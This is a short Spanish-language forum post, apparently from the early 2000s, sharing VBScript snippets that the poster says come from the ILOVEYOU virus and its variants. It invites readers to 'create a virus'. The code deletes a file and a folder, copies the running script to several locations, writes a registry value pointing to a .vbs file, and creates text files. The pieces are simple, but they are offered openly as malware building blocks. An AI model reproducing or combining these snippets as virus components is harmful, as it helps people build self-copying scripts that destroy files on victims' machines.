Diciembre 2002
Que tiempos 2003,2006,2007...
Alguien de mi quinta?

hey,aki les dejo algunos kodigos "maliciosos" sakados del virus y Love You y variantes.......
Ya pueden krear un virus!!!XD

-----------------------------

----------------Borrar Archivos-----------

Dim fso, f1, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFile("c:\lokesea.txt")
f1.Delete

( se borrara el archivo lokesea.txt del disco C: )

 

-------------Borrar Carpeta---------------------

Dim fso, fldr
Set fso = CreateObject("Scripting.FileSystemObject")
Set fldr = fso.DeleteFolder("C:\Pkn")

( podemos ver el DeleteFolder donde borra la carpeta pkn del disco C: )

 

------------Copia de si mismo en otro lugares-------------------

Copiarasimismo()

Sub Copiarasimismo()
dim fso, eq, ctr, file, vbscopy
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy("C:\Misdocumentos\pkn.vbs")
c.Copy("C:\pkn1.vbs")
c.Copy("C:\pkn2.vbs")
end sub

 (se copiaria en C:\Misdocumentos\pkn.vbs, en C:\pkn1.vbs y C:\pkn2.vbs al ser ejekutAdo)

 

----------Crear linea en el regristro--------

RegeditCrear()

Sub RegeditCrear()
Dim Rege
Set Rege = WScript.CreateObject("WScript.Shell")
Rege.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Pelkabin","C:\pelkabin.vbs"
end Sub

( se agrega la linea en el regristro de Windows )

 

--------------------Crear un Archivo--------------------

Dim fso, fldr
Set fso = CreateObject("Scripting.FileSystemObject")
Set fldr = fso.CreateTextFile("C:\kokakola.txt")

(Se crea en c:\kokakola.txt)

 

--------------Crear un Archivo con información dentro--------------------

Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("c:\Pkn.txt", True)
'Escribir una línea con un carácter nueva línea.
tf.WriteLine("hola holita!!!")
' Escribir tres caracteres de nueva línea al archivo.
tf.WriteBlankLines(3)
' Escribir una línea.
tf.Write ("Esto es una prueba.")
tf.Close
--------------------------------


Saludos PkN